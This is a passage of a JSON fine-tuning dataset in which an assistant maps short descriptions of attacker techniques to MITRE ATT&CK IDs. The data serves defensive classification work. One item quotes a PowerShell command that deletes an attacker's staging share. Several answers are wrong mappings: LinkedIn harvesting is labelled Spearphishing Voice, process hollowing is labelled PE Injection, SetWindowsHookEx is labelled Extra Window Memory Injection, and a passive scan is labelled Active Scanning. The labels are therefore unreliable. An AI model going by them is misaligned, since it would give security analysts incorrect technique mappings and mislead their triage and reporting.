                "content": "Attacker exploits a zero‑day vulnerability in the serverless platform's management console to deploy rogue functions."
            },
            {
                "role": "assistant",
                "content": "T1584.007 - Compromise Infrastructure: Serverless"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker sets up a malicious Windows Server that pretends to be a legitimate domain controller, intercepting authentication traffic."
            },
            {
                "role": "assistant",
                "content": "T1207 - Rogue Domain Controller"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A sophisticated piece of malware installs a rootkit to gain elevated privileges and hide its registry keys from security tools."
            },
            {
                "role": "assistant",
                "content": "T1014 - Rootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary adds a malicious launch daemon to /Library/LaunchDaemons to achieve persistence on macOS."
            },
            {
                "role": "assistant",
                "content": "T1543.004 - Create or Modify System Process: Launch Daemon"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary conducts advanced Google dork searches to find exposed configuration files belonging to the target."
            },
            {
                "role": "assistant",
                "content": "T1593.002 - Search Open Websites/Domains: Search Engines"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers exploit the Windows Task Scheduler API to persist a remote access tool by running it on system startup."
            },
            {
                "role": "assistant",
                "content": "T1053 - Scheduled Task/Job"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the ROMMON interface, the threat actor injects a custom image that runs before the IOS loads."
            },
            {
                "role": "assistant",
                "content": "T1542.004 - Pre-OS Boot: ROMMONkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker scrapes Twitter timelines for mentions of the target's brand, gathering usernames and timestamps to map out active community members."
            },
            {
                "role": "assistant",
                "content": "T1593.001 - Search Open Websites/Domains: Social Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group purchases a VPS in a high‑trust region, installs a reverse shell, and uses it to exfiltrate data from compromised internal systems."
            },
            {
                "role": "assistant",
                "content": "T1584.003 - Compromise Infrastructure: Virtual Private Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code reads the /proc/cpuinfo file on a Linux host to collect CPU details such as model name and cache size."
            },
            {
                "role": "assistant",
                "content": "T1592.001 - Gather Victim Host Information: Hardware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through NTCreateThreadEx, the malware injects a portable executable into a high-privilege process to gain persistence."
            },
            {
                "role": "assistant",
                "content": "T1055.002 - Process Injection: Portable Executable Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An exploit leverages the Windows command interpreter's bug with unquoted paths, causing a malicious .bat file to be run when the user runs a legitimate command."
            },
            {
                "role": "assistant",
                "content": "T1574.009 - Hijack Execution Flow: Path Interception by Unquoted Path"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware modifies the file’s metadata to delete the Zone.Identifier ADS, effectively bypassing the Mark‑of‑the‑Web trust control."
            },
            {
                "role": "assistant",
                "content": "T1553.005 - Subvert Trust Controls: Mark-of-the-Web Bypass"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses process hollowing to replace the code of a legitimate process with a malicious portable executable."
            },
            {
                "role": "assistant",
                "content": "T1055.002 - Process Injection: Portable Executable Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker drops a tool that hides in the OS and exfiltrates data by encoding it onto the firmware of a USB thumb drive."
            },
            {
                "role": "assistant",
                "content": "T1025 - Data from Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary crafts a malicious macro where the RLO Unicode character reverses the visible code, hiding the malicious payload from casual inspection."
            },
            {
                "role": "assistant",
                "content": "T1036.002 - Masquerading: Right-to-Left Override"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor initiates periodic video captures from the system's camera and transmits them over an encrypted channel."
            },
            {
                "role": "assistant",
                "content": "T1125 - Video Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using an HTML file with embedded base64 data, the malicious script decodes the payload and executes it directly in the browser."
            },
            {
                "role": "assistant",
                "content": "T1027.006 - Obfuscated Files or Information: HTML Smuggling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An exploit injects code that reads the document.cookie value and posts it to the attacker's server."
            },
            {
                "role": "assistant",
                "content": "T1539 - Steal Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors exfiltrate credential information stored in cleartext within Docker compose files on the target host."
            },
            {
                "role": "assistant",
                "content": "T1552.001 - Unsecured Credentials: Credentials In Files"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set enumerates public SSL certificate databases to find certificates that can be leveraged for man‑in‑the‑middle attacks."
            },
            {
                "role": "assistant",
                "content": "T1596.003 - Search Open Technical Databases: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary utilizes an encrypted HTTP/2 session to hide data exfiltration within legitimate traffic."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker’s tool generates domain names with a pseudo‑random algorithm seeded by the timestamp, then resolves until a live domain is found."
            },
            {
                "role": "assistant",
                "content": "T1568.002 - Dynamic Resolution: Domain Generation Algorithms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using Azure Blob Storage, the attacker streamed data from the infected host directly to the cloud."
            },
            {
                "role": "assistant",
                "content": "T1567.002 - Exfiltration Over Web Service: Exfiltration to Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat group injects malicious JavaScript into a legitimate website to conduct drive‑by downloads against visitors."
            },
            {
                "role": "assistant",
                "content": "T1584.006 - Compromise Infrastructure: Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "When the main C2 server is inaccessible, the malware activates a fallback channel using legitimate cloud storage services to receive updated payloads."
            },
            {
                "role": "assistant",
                "content": "T1008 - Fallback Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor edits the victim’s email client settings to forward all new emails to a server under their control."
            },
            {
                "role": "assistant",
                "content": "T1114.003 - Email Collection: Email Forwarding Rule"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors compromise an ad server and insert malicious payloads into rotating banner ads that execute on page load."
            },
            {
                "role": "assistant",
                "content": "T1583.008 - Acquire Infrastructure: Malvertising"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By hooking into the process termination routine, the malware ignores any kill or stop commands, effectively hiding its activity."
            },
            {
                "role": "assistant",
                "content": "T1564.011 - Hide Artifacts: Ignore Process Interrupts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A botnet targets a corporate endpoint by sending malformed SMB packets, causing the SMB service to hang and the machine to freeze."
            },
            {
                "role": "assistant",
                "content": "T1499 - Endpoint Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set adds the setuid bit to a user‑owned program, enabling it to run as root and bypass normal access controls."
            },
            {
                "role": "assistant",
                "content": "T1548.001 - Abuse Elevation Control Mechanism: Setuid and Setgid"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor creates a new account with sudo rights on a Unix server to facilitate further attacks."
            },
            {
                "role": "assistant",
                "content": "T1136 - Create Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker abuses the execution proxy of a code signing tool to run arbitrary code."
            },
            {
                "role": "assistant",
                "content": "T1127 - Trusted Developer Utilities Proxy Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors compress and base64-encode stolen files, then send them as part of the payload in periodic DNS TXT record lookups to their C2."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Intruder injects malicious code into a shared web application component that is later used by many users."
            },
            {
                "role": "assistant",
                "content": "T1080 - Taint Shared Content"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor harvests employee email addresses from LinkedIn for later phishing."
            },
            {
                "role": "assistant",
                "content": "T1598.004 - Phishing for Information: Spearphishing Voice"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT28 uses a custom protocol over TLS to exfiltrate large files without triggering network alarms."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries purchase ad space on compromised websites and use it to serve malicious payloads to victims."
            },
            {
                "role": "assistant",
                "content": "T1583.008 - Acquire Infrastructure: Malvertising"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set employed a scheduled task that invoked `Remove-Item -Path \"\\\\\\attacker\\share\" -Force` to disconnect and delete the network share used for data staging."
            },
            {
                "role": "assistant",
                "content": "T1070.005 - Indicator Removal: Network Share Connection Removal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary edits the site's JSON configuration to display a defacement message in the UI."
            },
            {
                "role": "assistant",
                "content": "T1491 - Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits a vulnerability in a corporate PKI server to dump signing certificates and private keys."
            },
            {
                "role": "assistant",
                "content": "T1588.004 - Obtain Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a self‑signed X.509 certificate, the malware sets up an encrypted channel where traffic is encrypted with the public key embedded in the certificate."
            },
            {
                "role": "assistant",
                "content": "T1573.002 - Encrypted Channel: Asymmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors add a systemd service that executes a script to delete logs on a schedule."
            },
            {
                "role": "assistant",
                "content": "T1543.002 - Create or Modify System Process: Systemd Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using CreateRemoteThread, the malware places a malicious executable into another process to run with the host's privileges."
            },
            {
                "role": "assistant",
                "content": "T1055.002 - Process Injection: Portable Executable Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a web search engine, the threat actor looks up the victim's website to discover publicly available files and directories."
            },
            {
                "role": "assistant",
                "content": "T1593.002 - Search Open Websites/Domains: Search Engines"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors distribute a malicious .lnk file that, when executed, copies the system's keylogs onto an attached USB stick."
            },
            {
                "role": "assistant",
                "content": "T1025 - Data from Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By exploiting a vulnerability, the attacker alters the contents of a configuration file while the target application is running, causing it to connect to a malicious server."
            },
            {
                "role": "assistant",
                "content": "T1565.003 - Data Manipulation: Runtime Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker changes the KeepAlive flag in the com.apple.scheduler.plist to ensure a backdoor process remains continuously running."
            },
            {
                "role": "assistant",
                "content": "T1647 - Plist File Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan accesses the company's internal Confluence wiki to gather strategic planning documents."
            },
            {
                "role": "assistant",
                "content": "T1213 - Data from Information Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary performs a credential spraying attack against Azure AD accounts using common passwords."
            },
            {
                "role": "assistant",
                "content": "T1110.003 - Brute Force: Password Spraying"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan registers a malicious COM class in the registry, then triggers it from a low-privilege process to gain elevated code execution via IPC."
            },
            {
                "role": "assistant",
                "content": "T1559.001 - Inter-Process Communication: Component Object Model"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group used stolen OAuth tokens to access a cloud‑based application server and modify configurations."
            },
            {
                "role": "assistant",
                "content": "T1584.004 - Compromise Infrastructure: Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors compromised a popular open‑source library on npm, adding malicious code that executes when developers install the package."
            },
            {
                "role": "assistant",
                "content": "T1195.002 - Supply Chain Compromise: Compromise Software Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using sudo -i, the attacker launched an interactive root shell after obtaining a valid user account with sudo rights, bypassing multi-factor authentication."
            },
            {
                "role": "assistant",
                "content": "T1548.003 - Abuse Elevation Control Mechanism: Sudo and Sudo Caching"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised insider leaves a rogue ISO on a shared network share; employees mount it, unintentionally executing the embedded trojan."
            },
            {
                "role": "assistant",
                "content": "T1525 - Implant Internal Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised account is used to delete the attacker's own files from the victim's host after exfiltration, covering tracks."
            },
            {
                "role": "assistant",
                "content": "T1070 - Indicator Removal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious PowerShell script uses the Get-StoredCredential cmdlet to pull credentials from Credential Manager."
            },
            {
                "role": "assistant",
                "content": "T1555.004 - Credentials from Password Stores: Windows Credential Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker provisions an AWS Lambda function to run malicious code, thereby acquiring serverless compute infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1583.007 - Acquire Infrastructure: Serverless"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor exploits ptrace to inject a shared library into a target process for persistence."
            },
            {
                "role": "assistant",
                "content": "T1055.008 - Process Injection: Ptrace System Calls"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker adds a malicious CSS rule that overlays a fake login form on top of a legitimate page to harvest credentials."
            },
            {
                "role": "assistant",
                "content": "T1659 - Content Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a Python script that opens the raw disk device and writes 0xFF bytes across the entire storage medium."
            },
            {
                "role": "assistant",
                "content": "T1561 - Disk Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware disables security alerts by unregistering the Windows Security Center service."
            },
            {
                "role": "assistant",
                "content": "T1562.011 - Impair Defenses: Spoof Security Alerting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary created new virtual machines in the victim's Azure subscription and installed malware to use them for crypto mining."
            },
            {
                "role": "assistant",
                "content": "T1578 - Modify Cloud Compute Infrastructure"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker creates a malicious Facebook app that requests extensive permissions and uses the granted access to post spam."
            },
            {
                "role": "assistant",
                "content": "T1586.001 - Compromise Accounts: Social Media Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker sets up a proxy on port 5900, normally used for VNC, but repurposes it for tunneling malicious traffic."
            },
            {
                "role": "assistant",
                "content": "T1571 - Non-Standard Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor harvests API keys from a compromised web application's embedded secrets file."
            },
            {
                "role": "assistant",
                "content": "T1528 - Steal Application Access Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using LC_LOAD_DYLIB manipulation, the adversary achieves persistence by loading a malicious framework each time the target binary is executed."
            },
            {
                "role": "assistant",
                "content": "T1546.006 - Event Triggered Execution: LC_LOAD_DYLIB Addition"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses the Windows API SetWindowsHookEx to inject malicious shellcode into the memory space of a legitimate process."
            },
            {
                "role": "assistant",
                "content": "T1055.011 - Process Injection: Extra Window Memory Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised device rewrites outbound packets to change configuration parameters."
            },
            {
                "role": "assistant",
                "content": "T1565.002 - Data Manipulation: Transmitted Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The implant URL‑encodes data payloads to bypass detection mechanisms."
            },
            {
                "role": "assistant",
                "content": "T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker conducts a passive network scan using internet-wide scanning services to detect open ports."
            },
            {
                "role": "assistant",
                "content": "T1595 - Active Scanning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code is inserted into an Outlook form's custom form region, which is loaded during Outlook initialization for persistence."
            },
            {
                "role": "assistant",
                "content": "T1137.003 - Office Application Startup: Outlook Forms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A stealthy process executes \"Get-CimInstance Win32_OperatingSystem\" to obtain the operating system's version and build number."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor modifies the name of a legitimate system task to 'SecurityHealth' while executing ransomware."
            },
            {
                "role": "assistant",
                "content": "T1036.004 - Masquerading: Masquerade Task or Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious script automates SSH login with default credentials to deploy ransomware across the environment."
            },
            {
                "role": "assistant",
                "content": "T1021.004 - Remote Services: SSH"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By hooking the Linux PAM (Pluggable Authentication Modules) function pam_authenticate, the attacker captures user credentials during login sessions."
            },
            {
                "role": "assistant",
                "content": "T1056.004 - Input Capture: Credential API Hooking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using DNS reflection, the malicious actor queries open recursive resolvers with a spoofed source IP, resulting in large DNS response packets being sent to the victim, leading to a denial-of-service condition."
            },
            {
                "role": "assistant",
